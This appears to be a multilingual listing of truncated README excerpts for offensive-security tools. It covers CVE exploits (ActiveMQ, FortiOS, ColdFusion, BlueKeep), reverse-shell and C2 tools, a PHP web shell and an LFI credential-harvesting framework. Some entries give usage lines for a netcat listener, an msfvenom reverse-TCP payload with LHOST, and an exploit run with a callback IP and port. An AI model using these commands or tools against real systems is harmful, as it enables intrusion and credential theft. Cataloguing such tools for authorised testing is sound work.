CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ

CVE-2023-46604-RCE-Reverse-Shell-Apache-ActiveMQ Этот эксплойт основан на фундаментальной работе, доступной по адресу https://github.com/X1cT34m https://github.com/X1r0z/ActiveMQ-RCE. Мы дополнительно развили технику для получения обратной оболочки с использованием Metasploit Framework...

CVE-2024-28397-Reverse-Shell

CVE-2024-28397-Reverse-Shell CVE-2024-28397을 위한 리버스 셸. js2py = v0.74에서 작동하는 익스플로잇입니다. 요구 사항 requests 라이브러리 pip install requests Python3 Netcat 리버스 셸 리스너로 사용할 수 있는 도구 사용법 리스너용 nc -lnvp 4444 익스플로잇용 python3 exploit.py 10.129.66.160 8000 /runcode --localip 10.10.15.11 --localport 4444...

hblock

Улучшите свою безопасность и конфиденциальность, блокируя домены рекламы, трекинга и вредоносного ПО. Для чего это нужно? hBlock — это POSIX-совместимый shell-скрипт, который получает список доменов, обслуживающих рекламу, скрипты отслеживания и вредоносное ПО, из нескольких источников и создаёт...

poet

poet Простой инструмент для пост-эксплуатации. обзор Клиентская программа запускается на целевой машине и настраивается с IP-адресом сервера для подключения и частотой подключения. Если сервер не работает в момент попытки подключения клиента, клиент тихо засыпает и пытается снова через заданный...

hal

Welcome to HAL! HAL /hel/ is a comprehensive netlist reverse engineering and manipulation framework. Navigation 1. Introduction 2. Build Instructions 3. Quickstart Guide 4. Academic Context Introduction What the hell is HAL? Virtually all available research on netlist analysis operates on a...

reverse-shell

reverse-shell Reverse Shell как сервис — https://reverse-shell.sh Легко запоминающаяся обратная оболочка, которая должна работать на большинстве Unix-подобных систем. Определяет доступное программное обеспечение на целевой системе и запускает соответствующий полезный код. Использование 1. Ожидани...

Supershell

Supershell은 WEB 서비스를 통해 접근하는 C2 원격 제어 플랫폼으로, 역방향 SSH 터널을 구축하여 완전한 인터랙티브 셸을 획득하고, 다중 플랫폼 아키텍처 Payload를 지원합니다. 기능 특징 • 지원 플랫폼 • 아키텍처 다이어그램 • 빠른 구축 • 사용 문서 • 기능 데모 • 면책 고지 • 감사 简体中文 • English 일반적인 침투 테스트 및 대회에서 리버스 셸을 사용할 때 Ctrl + C로 셸이 실수로 종료되는 것이 고민이신가요? 인터랙티브 스크립트를 실행하는 것이 어려우신가요? 일반적인 리버스 셸은 단순히...

snmp-shell

SNMP Shell Net-SNMP의 extend 기능을 통한 셸 시뮬레이션 다음은 미리 보기입니다 : 설명 대상에 "extend" 기능이 있는 Net-SNMP 인스턴스가 있고, 쓰기 액세스 권한을 제공하는 SNMP 커뮤니티 문자열 을 확보했다면, 이 도구를 사용하여 SNMP RCE로 명령 전송 과정을 자동화할 수 있습니다. 이 도구는 사용자를 자동으로 실제 셸을 시뮬레이션 하는 경로로 안내합니다. 완전한 대화형 셸이 필요한 명령MySQL, Vim, Nano 등을 제외하고 상상할 수 있는 모든 명령을 사용할 수 있습니다...

ntlm_relay_gat

NTLM Relay Gat Description NTLM Relay Gat is a powerful tool designed to automate the exploitation of NTLM relays using ntlmrelayx.py from the Impacket tool suite. By leveraging the capabilities of ntlmrelayx.py, NTLM Relay Gat streamlines the process of exploiting NTLM relay vulnerabilities,...

ntlm_relay_gat

NTLM Relay Gat Описание NTLM Relay Gat — мощный инструмент, предназначенный для автоматизации эксплуатации ретрансляции NTLM с помощью ntlmrelayx.py из набора инструментов Impacket. Используя возможности ntlmrelayx.py, NTLM Relay Gat упрощает процесс эксплуатации уязвимостей ретрансляции NTLM,...

C99Shell-PHP7

. . . / / \ / /| | | | | | \ \ \ \ / \ /\ / \ \ | | / | | | | \ / / / / / /\ \ \ \ / / / / / | Y \ /| || | \ / / \ \ / \ \ // // / /|| /\ // / /\ \ \ /\ \ / / / / / / / / / | | | \ \ / / | | / | / | | | | | \ \ /\ / /| || || | / / | ' | | | | | / | ' \ / | | | \ / / / | || | / /...

CVE-2024-21762

CVE-2024-21762 Fortinet FortiOS의 CVE-2024-21762 취약점에서 발생하는 경계를 벗어난 쓰기Out-of-Bounds Write 취약점 assetnote의 익스플로잇 PoC ssldohandshakeptr = b"%60%ce%42%00%00%00%00%00" getcwdptr = b"%70%62%2c%04%00%00%00%00" pivot1 = b"%52%f7%fd%00%00%00%00%00" push rdi; pop rsp; ret; pivot2 = b"%ac%c9%ab%02%00%00%00%0...

CVE-2019-0708-POC

CVE-2019-0708-POC CVE-2019-0708에 대한 작동하는 개념 증명으로, 원격 셸을 생성합니다. python3로 실행하세요, 예제 python3 CVE-2019-0708-windows.py linux와 Windows에 따라 다른 버전이 필요합니다. 명백한 이유로 난독화되었습니다...

odat

Quentin HARDY --- [email protected] [email protected] ODAT ODAT Oracle Database Attacking Tool — это инструмент с открытым исходным кодом для тестирования на проникновение , который проверяет безопасность баз данных Oracle удаленно. Примеры использования ODAT: У вас есть прослушивающий...

gimmeSH

gimmeSH Для пентестеров, которые не хотят покидать свой терминал. Несколько слов gimmeSH — это инструмент, который генерирует удобную шпаргалку для Reverse Shell, File Transfer и Msfvenom прямо в вашем терминале. Вам нужно лишь указать платформу, ваш IP-адрес и номер порта. Установка Скачайте...

MemShellParty

MemShellParty 中文 | English !WARNING 本工具仅供安全研究人员、网络管理员及相关技术人员进行授权的安全测试、漏洞评估和安全审计工作使用。使用本工具进行任何未经授权的网络攻击或渗透测试等行为均属违法，使用者需自行承担相应的法律责任。 !TIP 由于本人仅是安全产品研发，无实战经验，如使用或实现有相关疑问或者适配请求可提 issue 或加入 TG 交流群，欢迎一起学习交流。 MemShellParty — это инструмент быстрой генерации内存马 memshell для основных веб-中间件,...

LFI-Destruction

🔥 LFI-Destruction – 공인 침투 테스트 프레임워크 LFI-Destroyer는 공인된 보안 전문가를 위해 설계된 포괄적이고 모듈식 LFILocal File Inclusion 익스플로잇 프레임워크입니다. 여러 공격 기술을 단일의 사용하기 쉬운 도구로 결합합니다: SSH 및 브라우저 아티팩트 퍼징 – Linux 및 Windows에서 SSH 키, Putty PPK, WinSCP, FileZilla, Firefox, Chrome, Edge, Brave 자격 증명을 찾습니다. 로그 포이즈닝 → 리버스 셸 – 쓰기 가능한 로...

CVE-2023-26360-RCE

CVE-2023-26360 - ColdFusion 2021 におけるリモートコード実行 スクリプトは最初の試行で動作しないことがあります。数回試して動作させてください。 実行方法 msfvenom でペイロードを作成 msfvenom -p java/shellreversetcp LHOST=192.168.56.1 LPORT=4444 file.java server.py の起動 このサーバーは、cve.2023-26360.py による初期アクセス後に ColdFusion サーバーにペイロードを送信するため、最初に起動しておく必要があります。 python3...

through_the_wire

Через провод Through the Wire — это эксплойт доказательства концепции для CVE-2022-26134, уязвимости внедрения OGNL, затрагивающей Atlassian Confluence Server и Data Center версий = 7.13.6 LTS и = 7.18.0 "Latest". Изначально это был zero-day, эксплуатировавшийся в реальных атаках. Консультация...

nmapAutomator

nmapAutomator Скрипт, который можно запускать в фоне! Краткое описание Основная цель этого скрипта — автоматизировать процессы перебора и разведки, которые выполняются каждый раз, и вместо этого сосредоточить наше внимание на реальном пентестинге. Это обеспечит две вещи: 1. Автоматизация...